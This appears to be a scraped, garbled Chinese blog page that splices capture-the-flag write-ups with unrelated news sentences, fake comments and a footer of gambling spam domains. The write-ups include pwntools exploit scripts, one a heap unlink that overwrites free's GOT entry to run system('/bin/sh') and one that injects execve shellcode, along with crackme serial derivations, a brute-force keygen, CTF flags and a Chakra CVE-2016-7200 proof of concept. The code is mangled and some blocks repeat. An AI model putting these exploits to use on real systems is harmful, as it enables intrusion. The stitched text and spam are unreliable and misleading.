ex))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()(二)着力打造具有地域特色荷文化把发掘、传承、弘扬、光大荷文化底蕴作为示范区建设发展主线,不断推进荷文化建设,让传统荷文化保持旺盛的生命力。”来自北京的“房车族”张迎春说。。但搜索“自动答录机”就能找到了。,利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17},:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A共签约引进电动车项目75家,计划总投资亿元,已建成投产45家,其中爱玛电动车项目的落户,有力地加快了中国-东盟新能源电动车生产基地的发展。运行后发现,需要登陆,相关文件:smali/com/example/phoneMgr/reg//com/example/phoneMgr/reg/前者是登陆activity,后者是登陆按钮事件的处理。通过下面两个请求的uri可以泄露账号和密码,美国网件系列默认用户名admin,对于chakra来说这个函数实现在JavascriptArray::FilterHelper函数中,大体逻辑如下if(pArr){Assert(length=MaxArrayLength);uint32i=0;for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}else{JavascriptArray::SetArrayLikeObjects(newObj,i,element);}++i;}}}代码的逻辑很容易理解,首先从源Array中依次取出元素,再根据用户callback进行判断,如果满足条件就置入新的Array中,否则会被丢弃。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A”该条款曾引发广泛争议,赞同者认为,在市场经济条件下,完全靠道德舆论的力量维持拾金不昧的善行并不太现实,有偿失物招领也不失为一种次优选择。。

阅读(99) | 评论(57) | 转发(623) |

上一篇:www.vns49222.com

下一篇:www.vnsr863.com

给主人留下些什么吧!~~

小梨涡2018-8-17

宋欢欢和字段对一个特定页来说,用于保存该页到一个双向链表中。

2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。攻击服务器:,通过漏洞将bot程序植入扫描服务器收集的设备中下图显示了上述4个IP的流量模式:Iot_reaper中集成的9个IoT漏洞攻击与使用弱密码破解的Mirai不同,IoT_reaper利用多个物联网设备漏洞感染物联网设备。。在复制之后,应用相同的并行化方案来更新对象间指针。CVE-2016-7200标签(空格分隔):ChakraPOCclassdummy{constructor(){return[1,2,3];}}classMyArrayextendsArray{staticget[](){returndummy;}}vara=newMyArray({},[],"natalie",7,7,7,7,7);functiontest(i){returntrue;}varo=(test);调试boolSparseArraySegmentT::IsMissingItem(constT*value){return*value==SparseArraySegmentT::GetMissingItem();}其中左值为0x0000000200000001,右值为0x8000000280000002value实际指向ArraySegment,其中length=3,size=6,元素为1、2、30x00000170823BC5100000000000000003........0x00000170823BC5180000000600000000........0x00000170823BC5200000000000000000........0x00000170823BC5280000000100000002........0x00000170823BC5300000000380000002.......\n0x00000170823BC5388000000280000002......\n对应于poc中定义的(test);会调用()filter()方法创建一个新数组,其包含通过所提供函数实现的测试的所有元素。,分析发现这是RSA算法,提供了N和D,输入e和p进行匹配。。

薛煜帅2018-8-17 9:5:50

  李新元要求,要多方联动,形成推进工作的强大合力。,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。。这样就可以将0替换为这样就可以绕过上面代码的检测,同时还可以能够正确地执行SQL语句。。

竹原明之2018-8-17 9:5:50

通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}。所有组件都支持在Audit和Block模式下运行,当Block模式启用时WindowsDefenderExploitGuard实时阻止事件。。

安元洋贵2018-8-17 9:5:50

idapro打开,来到main函数fgets(sn,260,stru_4090E0);v3=strlen(sn)-1;if(v38||v320){sub_401BE0(aKeyLenErrorD__);return0;}输入长度为8-20个字符if(v30){do{v6=sn[v5];if(v6=0||v69)++v4;++v5;}while(v5v3);if(v4){sub_401BE0(aKeyFormatError);return0;}}字符组成为1-9big_init(b1);v22=0;big_load(b1,sn);nullsub_1();big_mul((int)b1,9);sn做为大数*9,即b1=sn*9while(1){big_init3(b2,sn);LOBYTE(v22)=1;v7=big_mul2((int)b1,(int)b2);v8=big_mul((int)b1,9)+v7;nullsub_1();if(v8||big_len((int)b1)%2!=1)gotoLABEL_16;v9=big_len((int)b1);v10=big_val((int)b1,v91);v11=big_val((int)b2,0);v12=b2;if(v10==v11)break;LABEL_17:LOBYTE(v22)=0;sub_401390(v12);if(v8){sub_401BE0(aWrongKey___);gotoLABEL_19;}}循环计算b1=b1*sn*9,直到b1长度为奇数且b1[len/2]==sn[0],其中b2==snb2_len=big_len((int)b2)-1;v14=1-big_len((int)b2);b1_len=big_len((int)b1);v16=big_compare(b1,(int)b2,b1_len+v14,1,b2_len,0);v17=big_len((int)b2);if(big_compare(b1,(int)b2,0,1,v17-1,1)+v16){v8=0;LABEL_16:v12=b2;gotoLABEL_17;}sub_401BE0(aWellDone);正向和反向比较b1和sn,长度为sn-1,即sn[1]开始的数字,至此可以确定是在求回文数。,od无法调试,先使用ida静态分析,发现该程序加载驱动,patch掉驱动后再动态调试。。为了执行这一任务,WST需要存储关于系统中每个进程的工作集信息。。

晋悼公2018-8-17 9:5:50

如果我们进入一个函数,就会把它放在栈的顶部。,我们假设包含需要信息的内存记录是存在的。。(记者张智荣)(责编:张芳、许荩文)。

花泽香菜2018-8-17 9:5:50

因为中断共享PCI总线的多重KINTERRUPT数据结构可以被注册为一个单一中断请求线(IRQ)。,本篇文章要讲的就是在hitcon上面的一道题目,其中也有对php序列化的考察。。该结构被工作集整理者用来判定该特定页是否是一个潜在的可整理候选页,也就是说从进程的工作集中移除。。

评论热议
请登录后评论。

登录 注册

澳门赌场 捕鱼技巧 网上信誉赌场 赌博游戏 澳门赌场 电子游艺
www.bet3d9.com 赌球网址 www.hld998.com www.js65668.com 老虎机技巧 www.803704.com
www.130suncity.com www.hg4114.com 赌场游戏 www.6622msc.com www.hg3037.com www.xpj50666.com
www.258319.com www.js55111.com www.06365.com www.457sunbet.com www.68809.com www.hg996666.com